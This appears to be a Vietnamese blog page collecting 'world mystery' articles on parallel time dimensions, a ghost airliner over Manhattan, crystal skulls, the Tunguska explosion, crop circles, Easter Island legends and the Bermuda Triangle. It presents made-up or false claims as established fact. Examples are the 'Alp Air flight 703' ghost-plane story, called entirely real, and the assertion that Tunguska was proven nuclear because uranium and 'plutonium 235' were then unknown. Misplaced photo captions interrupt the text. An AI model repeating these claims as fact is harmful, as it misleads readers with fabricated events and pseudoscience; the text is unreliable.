13 friday

Subscribe to RSS feed

Co ton tai chieu ko gian khac ?

Đã từ lâu, các nhà khoa học trên thế giới tin rằng thời gian và địa điểm chúng ta đang sống chỉ là một trong nhiều chiều không gian và thời gian mà chúng ta không nhìn thấy được.

Theo họ, thời gian có thể đếm được, là một dạng vật chất không thể biến mất. Do đó hình hài của chiều thời gian cũng có mặt ở mọi nơi. Khi 2 chiều thời gian trùng nhau thì đó cũng là hiện tượng tự nhiên, giống như lúc mưa rơi, nắng rọi và sấm sét dậy trời. Người ở một chiều thời gian có thể nhìn thấy một chiều thời gian khác, có thể là chiều thời gian tương lai hoặc quá khứ.

"Tam giác quỉ" Bermuda ở Đại Tây Dương được mệnh danh là "tử địa", vì đã có hàng trǎm tàu thuyền và máy bay bị mất tích một cách bí ẩn tại đây trong vòng 100 nǎm qua. Những người đi biển tin rằng giữa Đại Tây Dương có một "rốn biển" với những xoáy nước khổng lồ có đường kính hơn 100 dặm... Và đó có thể là cánh cửa xuyên vào một chiều thời gian khác có tốc độ gấp 2 lần tốc độ ánh sáng. Các nhà khoa học ở một số cơ quan nghiên cứu quốc tế nổi tiếng cho biết, có thể làm cho con người chúng ta xuyên qua một chiều thời gian khác, nhưng đáng tiếc tốc độ của các phương tiện mà con người tạo ra hiện thời mới chỉ đạt chưa đầy 1/3 tốc độ ánh sáng. Vì vậy, những tàu thuyền và máy bay bị mất tích một cách bí ẩn có thể là do bị hút vào một chiều không gian khác.



Cũng tương tự như vậy đối với sự kiện bí ẩn xảy ra trên bầu trời Niu Yoóc (Mỹ) vào cuối nǎm 1999. "Lạy Chúa, chúng tôi đang ở đâu vậy. Làm sao chúng tôi đến được nơi đây? Đây là Hãng hàng không Alp Air, chuyến bay 703. Tất cả đều lạ lùng. Tôi không biết mình ở đâu. Người nào nhận được những lời này xin hãy giúp chúng tôi". Đó là nội dung lời kêu cứu của một viên phi công "ma" truyền qua làn sóng điện với giọng vô cùng sợ hãi. Rồi chiếc máy bay hành khách kiểu cũ ĐC.7 mà hãng Boing chế tạo từ hơn 30 nǎm trước bỗng xuất hiện phía trên đảo Maháttan ở thành phố Niu Yoóc.

Những người chứng kiến hình ảnh của "chiếc máy bay ma" nói trên là viên phi công lái một chiếc máy bay trực thǎng đưa một số du khách bay thưởng ngoạn toàn cảnh thành phố lớn nhất thế giới này. Viên phi công lái máy bay trực thǎng tên là Ben Giắcman đã nhận được lời cấp báo đó một cách rõ ràng. Và 12 khách du lịch trên chiếc máy bay cũng tận mắt nhìn thấy "chiếc máy bay ma" ĐC.7, một số người đã chụp ảnh nó. Ben Giắcman sau đó thuật lại trên truyền hình về sự kiện bí ẩn này: "Khi tôi nhận được lời nói của anh ta, tôi vội bấm nút trả lời ngay, vì nhận thấy giọng nói của anh ta giống người đang bị hoảng loạn. Anh ta cuống lên nói rằng lẽ ra máy bay đã tới dãy núi Alp (ở châu Âu), nhưng sao không nhìn thấy nó và phía dưới cũng không phải Thuỵ Sĩ, vì anh ta biết rõ địa hình. Tôi bèn nói với anh ta rằng anh ta đang ở trên bầu trời nước Mỹ, vì không có lịch trình bay qua đây. Anh ta cất cánh từ sân bay thành phố Vêrôna (Italia) và bay đến thành phố Inxbrúc (áo). Khi đó tôi nghĩ rằng gã phi công này không điên thì cũng say rượu. Nhưng tôi bỗng rợn tóc gáy vì chợt nghĩ ra điều gì đó. Tôi hỏi ngày cất cánh của anh ta là ngày nào. Điều viên phi công trả lời khiến tôi gần như không tin nổi vào tai mình. Anh ta nói rành mạch rằng máy bay cất cánh tại sân bay quốc tế Vêrôna hồi 6h45 ngày 26/11/1972 để bay tới thành phố Inxbrúc, rồi sẽ bay tiếp đến Líchtenxten. Máy bay của anh ta có phi hành đoàn 7 người và 132 hành khách. Tôi sững sờ, không biết nói sao, rồi tôi nghe tiếng viên phi công "ma" đó bắt liên lạc với trạm hoa tiêu bay của thành phố Inxbrúc. Đến đây tôi biết rằng mình đang đối mặt với điều tựa như chuyện truyền kỳ bí ẩn. Tôi đã gặp ma hay linh hồn đang xuyên qua chiều thời gian quá khứ để đến với chiều thời gian hiện tại. Tôi nói với anh ta rằng giờ đây không phải là nǎm 1972 mà là nǎm 1999, nhưng anh ta vẫn khǎng khǎng cãi nǎm nay là nǎm 1972".

Về sau Ben được biết rằng Hãng hàng không Alp Air và chuyến bay 703 là có thật 100%. Nǎm 1972, chuyến bay này đã chở các SV người Pháp và Italia đi dự cuộc thi trượt tuyết mùa đông. Nhưng máy bay đó đã gặp bão tuyết đột ngột và bị rơi sau khi cất cánh được 40 phút. Chuyến bay nói trên được ghi nhận là "mất tích" cùng với thông báo tất cả các hành khách và phi hành đoàn trên máy bay đều chết, vì từ đó đến nay người ta chưa hề tìm ra vết tích của chiếc máy bay này.

Ben cho biết thêm: "Khi đang cố khẳng định đang là nǎm 1999, tôi nghe thấy tiếng nấc và giọng nói như của người hấp hối của "viên phi công ma". Tôi nhìn về phía cửa sổ buồng lái và cửa sổ khoang hành khách của chiếc máy bay đó và thấy rằng hình như bên trong máy bay không phải là người mà chỉ là hình bóng của họ. Tôi tìm cách lái trực thǎng tiến lại gần chiếc máy bay DC.7, nhưng ngay lập tức có một luồng ánh sáng trắng loá lên rồi "chiếc máy bay ma" nọ bỗng nhiên mất hút, cứ như chẳng có gì xảy ra trước đó"...

Dau nguoi thuy tinh

Năm 1927, hai cha con nhà khảo cổ học người Anh là Mixin Haiđơ Jidơ và Anna, tại khu phế tích thành cổ Lôba Antômô nơi gần thành phố Hatơri nước Anh đã tiến hành khảo sát và tìm thấy một đầu người thủy tinh nặng khoảng 5kg. Đó là một khố thủy tinh phỏng theo xương đầu người chế tác ra. Xương mũi được lắp ghép bởi ba mành thủy tinh, hố mắt là một viên thủy tinh tròn, răng được gắn ngay ngắn vào xương hàm.

Cuốn sách "Nguy hiểm lắm, con đường của tôi" xuất bản năm 1954 đã nhận định rằng, xương đầu người bằng thủy tinh này do người cổ chế tạo ra cách đây hơn 3.600 năm: Theo giám định của các nhà khảo cổ học, chiếc sọ người thủy tinh này phải tốn thời gian 150 năm mới được chế tác xong. Sau khi đục khắc xong còn được dùng cát để đánh bóng. Trước khi được khai quật, nó đã được chôn dưới đất chí ít cũng đã 3.600 năm.

Một số nhà khảo cổ khác không đồng ý với cách suy luận đó. Họ cho rằng, những người cổ đại sống cách đây 3.600 năm bị hạn chế bởi điều kiện khoa học kỹ thuật lúc bấy giờ ở trình độ rất thấp, không thể chế tạo được sọ người thủy tinh tinh xảo đến thế.

Viện bảo tàng nhân loại học của Pháp cũng lưu giữ một sọ người thủy tinh. Theo khảo chứng của một số nhà khoa học Pháp: Chiếc sọ người thủy tinh đó qua giám định khoa học, được xác định là do người Aztech, tức người Anhđiêng - Mexico chế tạo ra vào thế kỷ 14 hoặc thế kỷ 15. Phân tích từ góc độ lịch sử và tôn giáo, nó có thể là vật trang sức của mục sư Aztech, của người Anhđiêng cúng tế. Gần quanh nơi tìm thấy sọ người thủy tinh, người ta cũng tìm thấy rất nhiều công cụ đồ đồng cỡ nhhỏ nhưng rất tinh xảo. Xem ra, sọ người thủy tinh rất có khả năng do người Aztech dùng công cụ bằng đồng để chế tạo nên.

Một số học giả tán thành quan điểm trên, họ cho rằng thế kỷ 14 và 15, người Aztech đã có trình độ phát triển khá cao, họ đã chế tạo được đồ gốm với đặc trưng màu nâu vân đen, tạo hình mỹ quan, đường vân đa dạng, phức tạp, từ những bản vẽ hình học phát triển tới việc tả thực hoa lá, chim cá, côn trùng, họ còn biết sử dụng đồng thiên nhiên để rèn thành công cụ, dùng lông chim cắm vào để tạo ra vật trang sức. Năm 1978, trong khai quật khảo cổ, Mexico lại phát hiện một tảng đá điêu khắc nặng khoảng 10 tấn, đường kính 11 thước Anh được gọi là "Đá Mặt Trăng". Đó là tảng đá được người Aztech chế tác vào năm 1470. Từ những bằng chứng trên, có thể chứng minh rằng, trình độ khoa học kỹ thuật của người Aztech tinh chắc rằng linh hồn sống mãi, và họ theo tín ngưỡng đa thần (Thần Mặt Trời, thần Mặt Trăng, Thần Mưa,...). Khi tế thần họ dùng người sống để làm vật hiến tế. Sọ người thủy tinh này có thể là một trong những vật phẩm được họ dùng để tiến hành những hoạt động tế thần.

Nhưng một số học giả tỏ ra hoài nghi, thậm chí phủ định quan điểm trên. Họ cho rằng, vào thế kỷ 14 và 15, công cụ sản xuất và vũ khí của người Aztech thường vẫn là đồ đá và đồ gỗ. Lúc bấy giờ họ đang ở giai đoạn liên minh bộ lạc, đang trong thời kỳ từ xã hội nguyên thủy quá độ tiến lên buổi đầu của chế độ nô lệ, còn thiếu hẳn kỹ nghệ điêu khắc ở trình dộ cao, rất khó có thể chạm khắc được sọ người thủy tinh sinh động như vậy.

Viện bảo tàng Anh quốc cũng lưu giữ một sọ người thủy tinh. Trong đêm tối không có ánh đèn, chiếc sọ vẫn phát ra ánh sáng trắng lóa mắt, hiển hiện một vẻ khủng khiếp giống hình một ác quỷ nhe răng trợn mắt. Chiếc sọ thủy tinh này được mua lại tại hiệu châu báu Tiphanni ở NewYork năm 1898. Theo lời người chủ hiệu thì nó được một người lính bán cho chủ hiệu vào cuối thế kỷ 18. Một số nhà khảo cổ cho rằng, đó là tác phẩm của người Adôđê (châu Mỹ La-tinh), chế tác từ thời thực dân. Nhưng đó cũng chỉ là một giả thuyết, chứ chưa phải là kết luận nhất trí của giới khảo cổ học.

Cho đến nay cả 3 chiếc sọ người thủy tinh trên đều chưa rõ lai lịch, không biết người nào chế tác ra chúng vào thời gian nào, có mục đích và ý nghĩa gì? Đến nay thế giới đang chờ các nhà khảo cổ học nghiên cứu tìm ra câu trả lời thỏa đáng.


Bi an vu no tunguese

Năm1908, tại vùng Tunguese Xibiri, xảy ra một vụ nổ lớn kỳ quái. Sức mạnh của nó tương đương với sức nổ của 500 quả bom nguyên tử, hoặc mấy quả bom khinh khí, cùng nổ một lúc.

Đối với vụ nổ khủng khiếp và kỳ lạ đó, các nhà khoa học dã tiến hành thăm dò nghiên cứu không mệt mỏi suốt gần 100 năm nay. Nhưng về nguyên nhân vụ nổ thì cho đến nay, ý kiến vẫn bất đồng: có người cho rằng, đó là một vụ nổ hạt nhân, có người cho rằng đó chỉ là một thiên thạch hay sao chổi rơi xuống Trái Đất mà gây ra vụ nổ, cũng có người cho rằng do phi thuyền vũ trụ của người ngoài hành tinh rơi xuống Trái Đất. Ngày nay nhiều người còn gắn nó liên quan tới một loạt những học thuyết khoa học hiện đại, tân kỳ như lý luận về hố đen vũ trụ, về phản vật chất hoặc đồng chất.

Ngày 20 tháng 6 năm 1908, lúc 7 giờ 17 phút, bên bờ sông Tunguese yên tĩnh miền Tây Xibiri nước Nga, khi ánh bình minh mới nhuốm hồng những tán cây, không khí buổi sáng trong lành. Bỗng nhiên vang lên một tiếng nổ cực mạnh, trời long đất lở, rồi mặt đất rung chuyển như run lên bần bật. Tiếp theo đó là một đụn khói hình nấm tròn từ từ lên cao, một làn sóng nhiệt nóng bỏng ào ào cuộn tới. Chỉ trong chốc lát, chim thú trong rừng lập tức biến thành tro bụi. Những cây đại thụ chọc trời, hoặc bị nhổ bật cả rễ, hoặc bị thiêu cháy thành than. Mấy ngàn cấy số vuông rừng rậm bị thiêu hủy trong chốc lát.

Tọa độ chính xác của vị trí xảy ra vụ nổ là 60 độ 55' độ vĩ Bắc 101 độ 57' độ kinh Đông. Cách hồ Baican 800 km. Sau vụ nổ, dân du mục quanh vùng run lên cầm cập trong những trận cuồng phong. Lều vải của họ bị bay biến đi đâu mất. Cách phía Nam trung tâm vụ nổ 60 km có một thị trấn gọi là Vanavara, vào sáng sớm hôm xảy ra vụ nổ, cùng với tiếng nổ vang trời, những cửa kính của các nhà cửa, công trình kiến trúc đều bị vỡ tan, khung cửa, cách cửa sổ... bị chấn động lắc lư đổ vỡ hết. Tiếp theo là sóng khí từ mặt đất cuộn lên, cuồng phong ập tới, làm bốc mái nhiều ngôi nhà. Cây cối trên đường phố và trong vườn hoa bị bật cả gốc rễ lên.


Nagasaki - 1945

Sau khi sự việc xảy ra, một nông dân nhớ lại: "Lúc bấy giờ tôi đang ngồi trong nhà, bầu trời bỗng xuất hiện ánh sáng trắng mãnh liệt, sau đó, không khí nóng lên rõ rệt, thiêu bỏng cả da thịt, tôi ngã nhào ra đất, áo may-ô trên người bốc cháy. Ngẩng nhìn lên, một quả cầu lửa khổng lồ đỏ ối cả vùng trời, thật kinh khủng. Chỉ trong chốc lát, quả cầu lửa tắt đi, trời tối trở lại. Lúc đó tôi mới nghe thấy một tiếng nổ đinh tai, thân thể bị một làn sóng hơi bốc lên, văng đi đến mấy thước Anh, tôi ngất xỉu. Mấy phút sau tôi tỉnh lại, nghe thấy những tiếng gào thét đinh tai. Ngôi nhà lắc lư bần bật, dường như sắp bị nhổ bật lên khỏi mặt đất".

Cả vùng Tunguese, nhiều nơi mặt đất và nhà cửa còn rung lên mấy ngày sau đó. Rất nhiều dân cư ở thị trấn Vnavara bị những đợt hơi nóng xô ngã, hoa màu cây cối bị hủy hoại trong chốc lát. Ngay phía dưới chỗ phát nổ, vừa có một đàn tuần lộc đi tới, sau nổ không còn con nào sống sót.

Vụ nổ đó đã gây ra sóng địa chấn rất mạnh. Cách trung tâm vụ nổ đến 893 km, tại thành phố Iacuxcơ, 45 phút sau khi vụ nổ xảy ra, vẫn còn ghi được sóng địa chấn. Tốc độ truyền sóng đạt tới 330 met/gy. Sóng xung kích của vụ nổ truyền tận sang đến Trung Âu. Các trạm quan trắc địa chấn Pôtxđam của Đức và Cambridge của Anh, các thiết bị tự động ở đó đều ghi được tình trạng Trái Đất chịu những chấn động rất mạnh, thậm chí cả đến đảo Java ở Inđônêxia và bên kia Trái Đất, tại thủ đô Oasinhtơn của Mỹ cũng ghi nhận được những chấn động tương tự.

Sau khi vụ nổ lớn xảy ra, các nơi trên thế giới đều có những phản ứng tự nhiên. Tại London, toàn bộ đèn điện bỗng nhiên tắt hết, dân chúng bị chìm trong bóng tối dày đặc. Tại Stốckhôm, rất nhiều người lấy máy ảnh ra chụp lấy cảnh đêm kỳ lạ. Tại Hà Lan thì ban đêm, mà lại rực lên ánh sáng trắng như ban ngày. Còn dân Mỹ ở trong buổi đêm cảm thấy mặt đất rung chuyển.

Điều cần phải nói tới từ đêm 30 tháng 6 đến ngày 1 tháng 7, bầu trời từ vùng Tây Xibiri cho đến cả châu Âu cực kỳ trong sáng. Một dải từ Cápcadơ đến miền Nam nước Nga, trời sáng đến mức không phải thắp đèn, mà vẫn có thể đọc sách được. Còn vùng Tunguese thì suốt ba ngày đêm kể từ khi vụ nổ xảy ra, không xuất hiện bóng đêm. Trong mấy ngày đó người ta trông thấy ánh sáng mặt trời lọt qua tầng mây bỗng chiếu ra những tia sáng kỳ lạ màu lục và màu hoa hồng. Còn có lúc những đám mây cũng phát ra các tia sáng màu bạc, và những đám mây rất gọn rõ. Trong mấy đêm sau đó, bầu trời cũng sáng hơn rất nhiều so với lúc bình thường. Dần dần cho đến cuối tháng 8, bầu trời mới trở lại trạng thái bình thường. Cũng thời gian ấy, các nhà thiên văn quan sát thấy độ trong sáng của loại khí quyển giảm hẳn, ảnh hưởng rất nhiều đến sự quan trắc các vì sao của các nhà thiên văn.

Nhà khoa học Liên Xô Culích, khi tiến hành khảo sát thực địa vùng Tunguese, kết hợp phỏng vấn những cư dân địa phương, vẫn không tìm ra nguyên nhân của vụ nổ. Đáp án ấy vẫn là điều bí mật.

Khi tiếp tục nghiên cứu về sau Culích nhận thấy, vùng bị hủy hoại là điểm rơi của một vẩn thạch khổng lồ. Trái đất vẫn thường bị những vẩn thạch nhỏ tập kích. Khi Trái Đất chuyển động quay quanh Mặt Trời thì phải chui qua những đá vũ trụ ấy. Khi đó những đá vũ trụ đi vào bầu khí quyển của Trái đất có tốc độ rất nhanh, thông thường mỗi giờ đạt tới hơn 10 vạn dặm Anh, nhưng vì hầu hết chúng đều rất nhỏ nên khi mới vào đến tầng cao của bầu khí quyển do ma sát với không khí phát ra nhiệt, ban đêm chúng ta nhìn lên bầu trời thấy những vệt sáng chói di chuyển rất nhanh nên gọi là sao băng.

Tuy nhiên, thỉnh thoảng Trái Đất vẫn gặp phải những khối đá lớn, khi đi vào bầu trời Trái Đất cháy nóng hừng hực. Ngày 29 tháng 9 năm 1938, tại một khu vườn ở bang Ilinoi nước Mỹ, bỗng phát ra tiếng nổ gầm vang, một khối vẩn thạch khi xuyên qua nóc nhà lại rơi đúng vào một chiếc xe ôtô. Năm 1954, tại bang Alabama nước Mỹ, một phụ nữ cũng bị vẩn thạch rơi trúng. Đó là những ghi chép duy nhất về vẩn thạch gây thương vong trên thế giới.

Vụ nổ Tunguese năm 1908, người ta nghe được tiếng nổ từ khoảng cách xa 600 dặm Anh. Dường như tất cả cây cối trong vòng 50 dặm Anh đều bị hủy hoại. Trung tâm vụ nổ này cũng rất dễ được xác định, bởi tất cả các cây cối bị đổ ngã đều hướng về trung tâm. Nhưng tại nơi đó lại không tìm thấy vẫn thạch, cũng không có hố vẫn thạch mà chỉ có một cái đầm. Quanh đầm là những cây khô nhẵn thín, những cây đó tuy không còn sống nhưng vẫn còn tồn tại ở đó và đều không có một cành nào. Đó là một đầu mối quan trọng, rõ ràng nơi ấy đã xảy ra vụ nổ mạnh, dẫn đến một vụ cháy lớn, nhưng lửa không tiếp xúc tới mặt đất, có khả năng là do một luồng hơi tốc độ nhanh, nhiệt độ cực nóng, ập thẳng từ trên xuống, đốt cháy tất cả cành cây nên làm đổ hết cây và đốt cháy suốt trên dọc đường đi.

Vậy nguyên nhân của những vụ nổ này là gì? Giải thích cách gì cũng thấy mâu thuẫn. Bởi vậy vụ hỏa hoạn đó cũng trở thành một điều bí mật không giải thích được trong lịch sử ngành thiên văn thế giới.

Năm 1965, có ba nhà khoa học nêu ra ý kiến: Vụ nổ lớn Tunguese có khả năng là do một loại phản vật chất đến từ ngoài Vũ Trụ, một loại phản vẩn thạch gây ra. Nhưng giả thiết đó không thể tiến hành nghiệm chứng được.


Hình dáng người bị chết ở Nagasaki trong vụ đánh bom nguyên tử 1945

Năm 1945, Mỹ ném bom nguyên tử ở Hirôsima và Nagasaki Nhật Bản, lúc đó các nhà khoa học Mỹ đầu tiên phát hiện ra quang cảnh vụ nổ Tunguese rất giống với quang cảnh sau vụ nổ nguyên tử. Cùng lúc đó nhà vật lý học Liên Xô Alêchxanđrơ Casatraép cũng phát hiện như vậy. Họ còn nhận thấy rằng, sự phá hủy ở vùng trung tâm nhỏ hơn rất nhiều so với vùng xung quanh. Cây cối vẫn đứng thẳng không bị đổ là một thí dụ rõ rệt. Ngoài ra thực vật ở vùng Tunguese cũng mọc và phát triển trở lại rất nhanh. Điều đó cũng rất giống với tình hình xảy ra sau vụ nổ bom nguyên tử. Hình dáng súc vật bị bức xạ nguyên tử ở Hirôsima và Nagasaki bị thiêu bỏng cũng có hình giống với súc vật ở vùng Tunguese sau vụ nổ. Cả đến đám khói hình nấm bốc lên sau khi nổ cũng rất giống nhau. Các nhà khoa học Liên Xô nói rằng đám khói hình nấm sinh ra ở vụ nổ Tunguese lớn hơn nhiều so với đám khói hình nấm ở Hirôsima và Nagasaki bởi nó được nhìn ở khoảng cách từ rất xa.

Một loạt những khảo sát được tiến hành từ năm 1958 trở về sau đều thu được những chứng cứ chứng tỏ vụ nổ Tunguese là một vụ nổ hạt nhân.

Nhà vật lý địa cầu Liên Xô trước đây - Xôrôtốp và nhà thiên văn Mikhaiin từng nhiều lần tiến hành khảo sát tại hiện trường. Tại nơi đó họ cũng phát hiện được dấu vết của những vật phóng xạ. Xôrôtốp còn dùng thực nghiệm chứng minh được tàn dư bức xạ của "nguồn năng lượng vật lý sinh vật" vẫn còn tồn tại tại hiện trường xảy ra vụ nổ; cũng có nghĩa là trong bom nguyên tử và bom khinh khí mới có chất plu-tô-ni 235 và uran. Trong khi đó trên Trái Đất lúc bấy giờ, loài người vẫn chưa tìm ra hai loại nguyên tố có tính phóng xạ đó.

Cho đến nay, vụ nổ Tunguese xảy ra ở miền Tây Xibiri năm 1908 vẫn là một bí mật thế giới. Tuy rằng liên tục có những suy luận mới được đưa ra, nhưng ý kiến nào có thể trở thành kết luận cuối cùng thì còn phải dành cho các nhà khoa học thế giới đi sâukhảo sát thăm dò và nghiên cứu. Sẽ có một ngày, bí mật này sẽ được nghiên cứ rõ và có đáp án hợp lý nhất

Nhung vong tron bi an

Có rất nhiều kiểu hình tròn khác nhau. Đơn giản nhất là một hình tròn với các bông lúa nằm rạp xuống ở bên trong, nhưng chúng không hề bị gãy mà chỉ quấn quanh rễ. Cũng có khi vòng tròn xuất hiện ở dạng kép, các bông lúa ở vòng ngoài cũng quấn quanh rễ, nhưng lại ngược chiều với lúa ở vòng trong. Đôi khi, bao quanh vòng tròn trung tâm là một loạt các vòng nhỏ (vệ tinh), thường được nối với vòng chính bằng những "con kênh". Trong trường hợp khác có thể thấy những vòng tròn nhỏ với những bông lúa không quấn quanh rễ, mà nằm ngả giữa vòng trung tâm với vòng lớn ngoài cùng.

Lúc đầu, người ta tưởng rằng vòng tròn kỳ lạ chỉ xuất hiện ở miền nam nước Anh. Nhưng khi báo chí bắt đầu viết về nó thì rất nhiều tin tức tương tự từ khắp nước Anh và các nước khác cũng được đăng tải. Các giả thuyết liên tục được đề cử, từ nguyên nhân do đàn nhím hay chồn phá hoại, đến dấu vết để lại của đĩa bay; từ hậu quả của cuộc chiến giữa các đàn chim cho đến việc lúa bị lây bệnh do nấm; từ việc bón quá nhiều phân cho đến việc thử nghiệm những loại vũ khí mới.

Pat Delgaldo và Colin Endrius đưa ra giả thuyết vòng tròn chính là một dạng ghi chép bí mật của vũ trụ tối cao. Trong khi đó, những bộ tộc da đỏ vùng Arizona thì cho rằng đó là những ký hiệu báo trước về một hiểm họa chết người đang đe dọa thế giới.

Một giả thuyết khác thuyết phục hơn là của giáo sư tiến sĩ Miden, người Anh. Theo ông, trên đường đi của những cơn gió giật, nếu có những ngọn núi nằm chắn ngang, sẽ tạo nên các xoáy khí. Kết quả là không khí thẳng đứng ở phía khuất gió của ngọn núi bị xoáy thành hình trôn ốc, xiết chặt không khí bên trong và tạo nên một luồng điện khí quyển. Khi hiện tượng này xảy ra trên cánh đồng, thì luồng khí xoắn trôn ốc sẽ làm cho các bông lúa rạp xuống đất và tạo nên các vòng tròn. Cùng với việc tạo thành các luồng điện, còn xuất hiện một âm thanh gió rít chói tai ngay trước khi các vòng tròn được tạo thành.

Lý thuyết của Miden không chỉ làm sáng tỏ các quá trình vật lý của sự tạo thành các vòng tròn mà còn giải thích được những trường hợp các hình ảnh kỳ lạ này xuất hiện ngay trước mắt của người chứng kiến.

Điều này đã xảy ra vào tháng 8/1991 khi Harri và Vivien Tomlison sống ở Hambldon đang dạo chơi ngoài cánh đồng. Bất chợt họ được chứng kiến một cảnh tượng rất lạ ở cánh đồng lúa mỳ phía bên phải. Một đám sương mù che phủ và họ nghe thấy một âm thanh kỳ lạ rít lên. Tiếp đó, sau lưng họ một cơn lốc nổi lên với sức gió mạnh đến nỗi khó khăn lắm họ mới đứng vững được. Mái tóc Harri tập trung nhiều điện tích nên dựng ngược hết trên đầu. Và cũng đột nhiên gió xoáy giảm hẳn rồi biến mất. Sương mù tan đi, để lại hai người nằm ở trung tâm một vòng tròn giữa những bông lúa ngả rạp xuống.

Nguoi tai dai tren dao Easter

Năm 1772, khi nhà thám hiểm Rogewe người Hà Lan bước chân lên đảo Easter (Easter có nghĩa là Lễ phục sinh) đã vô cùng ngạc nhiên khi phát hiện ra trên đảo ngoài những bức tượng được người ta thán phục, còn có số cư dân được kết hợp bởi 2 quần thể có đặc trưng rất khác nhau: Một trong số đó chắc chắn là người da đỏ ở Châu Đại Dương, dân số đông nhất; hai là người da trắng, râu tóc có màu hung hoặc vàng. Ở dái tai có đeo những con súc sắc dài tới 10-15cm, nên tai trông rất dài, người dân địa phương bèn gọi là "Người tai dài".

Những người tai dài đó hợp thành tầng lớp võ sỹ của Vương quốc. Theo truyền thuyết của cư dân trên đảo Easter, tổ tiên của họ có từ rất sớm, so với sự thám hiểm của người Hà Lan là 55 đời, vào khoảng 400 sau Công nguyên, họ đến từ phương Đông. Còn người Polynesia (Người tai ngắn), họ đến từ Polynesia phía Tây, sớm hơn so với sự phát hiện của người Hà Lan là 22 đời. Được sự đối đãi hữu hảo của người tai dài, hai chủng tộc cùng sống hòa bình với nhau trong một thời gian dài. Nhưng về sau do những bất đồng về văn hóa, sinh hoạt và khác nhau về nhu cầu đòi hỏi mà không thể dung hòa nên đã xảy ra xung đột chiến tranh. Cuối cùng, người Polynesia giành chiến thắng, và đã tiêu diệt được Người tai dài. Câu chuyện này xảy ra vào giữa những năm 1660-1700 sau Công nguyên.

"Người tai dài" với 1000 nhân khẩu đã để lại dấu ấn rất lớn trên đảo Easter: Những bức tượng bằng đá khổng lồ, những con đường, hang động được đục vào vách đá cứng, đài quan sát thiên văn được đặt trên úi Lanocan một công trình nặng nền rất khó xây dựng, nếu xem xét với con mắt của người hiện đại bây giờ thật không dám nghĩ tới, thậm chí là không thể.

Theo truyền thuyết cổ xưa trên đảo, từ xa xưa có một số người Vilacohas (người bay) đã hạ cánh xuống chính nơi này. Đây cũng là lý do khiến họ có sự sùng bái "người chim" đặc biệt. Trên núi Lanocan, người ta còn tìm thấy rất nhiều hòn đá được đục đẽo khắc họa, mô tả những người có đầu và đôi cánh dài như chim, hay một loài người kỳ lạ với cái đầu tròn dài và con mắt tròn to tướng.


Tượng người tai dài trên đảo Easter

Trong truyền thuyết nhắc tới Vilacohas cũng có thể giúp các nhà khảo cổ tìm được manh mối của chủng người này. Truyền thuyết của người Inca nói rằng, Thần tuổi già Vilacohas đã sáng tạo ra Thế giới ở một nơi mịt mù không ánh sáng Mặt trời. Ông ta đã dùng đá để tạc nên một đám người khổng lồ, do đám người khổng lồ này trọc tức ông, ông bèn đem tất cả chúng dìm xuống nước rất sâu, làm cho chúng không bao giời thoát ra được. Sau đó, ông cho Mặt Trăng và Mặt Trời mọc lên từ Hồ Titicaca, từ đó Trái đất của chúng ta mới có ánh sáng. Mặt khác, ông ta còn đem nghệ thuật vào ngôn ngữ dạy cho những vật mà mình tự sáng tạo ra, lại đưa từng hóm tới các nơi trên đất liền. Sau khi xong việc, vị Thần tuổi già này bèn đem theo hai tùy tùng đi đến nơi để kiểm tra xem những lời răn dạy của mình có được tuân thủ hay không, kết quả thi hành đến đâu.

Thần Vilacohas đóng giả thành một ông già men núi Andès và dọc bờ biển đi ngao du khắp nơi. Vì liên tục nhận được sự đối đãi thô bạo nên vị thần nóng giận bừng bừng, muốn đem tất cả thiêu hủy hết. Mọi người thấy tình cảnh này, vội vã cầu cứu, mong ông rộng lòng tha thứ, ông bèn dập tắt ngọn lửa.

Để tỏ lòng biết ơn, người dân đã cho xây dựng rất nhiều miếu thờ ở khắp mọi nơi. Sau này ông đã biến vào biển cả, và dặn sẽ còn quay lại. Khi thực dân Tây ban Nha đến vùng đất này, họ còn được nghe rất nhiều truyền thuyết về việc còn quay trở lại của con Thần Mặt trời.


Tam giac quy Bermuda

Tam giác quỷ Bermuda từng được đề cập đến như một vùng chết chóc, gây ra biết bao thảm họa cho tàu thuyền và máy bay qua lại. Gần đây, các nhà khoa học lại đưa ra thêm một giả thuyết mới để giải thích tính chất kỳ bí của khu vực này.

Bermuda là vùng ven biển Bắc Mỹ ở khu vực nằm giữa mũi Gatterac, bán đảo Florida và quần đảo Cuba. Xét về cấu trúc địa lý và khí hậu, đây là một vùng gần giống như tấm gương phản chiếu rộng lớn. Các cơn bão xuất phát từ Đại Tây Dương tạo nên luồng sóng hạ âm cực mạnh, bị phản hồi từ khu vực phản xạ này và hội tụ vào khu vực Tam giác quỷ. Kích thước rộng lớn của các cấu trúc hội tụ cho phép đưa ra giả thuyết tại đó có những khu vực phản xạ mà sóng hạ âm có thể đạt tới cường độ rất lớn và là nguyên nhân gây nên các hiện tượng quái dị.

Như chúng ta đã biết, sóng hạ âm cường độ lớn gây nên cảm giác sợ hãi và ý muốn bứt phá ra khỏi không gian khép kín. Dĩ nhiên, hành vi đó là hậu quả của phản ứng trực cảm đã hình thành từ rất lâu trong quá khứ tiến hoá của con người, mỗi khi bị tác động của sóng hạ âm hình thành trước lúc nổ ra các vụ động đất. Chính phản xạ này đã khiến cho các kíp máy bay và hành khách bị hốt hoảng và vội vã nhảy ra khỏi con tàu.

Dòng xoáy hạ âm của cơn bão hội tụ vào khu vực Tam giác quỷ. Khi cộng hưởng với nhịp sinh học của con người, sóng hạ âm có cường độ cao có thể gây chết người ngay tức khắc. Sóng hạ âm có thể là nguyên nhân dao động cộng hưởng của cột buồm trên thuyền và làm cho chúng gãy vụn. Hiện tượng tương tự cũng xảy ra khi sóng hạ âm cộng hưởng với độ rung của các yếu tố cấu trúc của máy bay. Sóng hạ âm cũng có thể là nguyên nhân hình thành một lớp sương mù dày đặc có màu đục như sữa trên đại dương và nhanh chóng biến mất. Độ ẩm của khí quyển tích tụ lại trong giai đoạn giãn nở có thể không kịp tan ra trong không khí ở giai đoạn nén tiếp theo, nhưng đồng thời có thể biến mất ngay tức khắc khi không có sóng hạ âm. Cuối cùng, sóng hạ âm có tần số 5-7 Hz có thể cộng hưởng với dao động cơ học, với con lắc đồng hồ có cùng tần số dao động và gây nên tác động phá huỷ. Điểm xuất phát của huyền thoại về trận gió hú rùng rợn, gây cảm giác sợ hãi do sóng hạ âm mạnh gây ra có thể là các hiện tượng tương tự xảy ra ở Tam giác quỷ. Các cấu trúc có tính chất hội tụ tương tự cũng có thể có ở các khu vực khác nhau trên hành tinh.

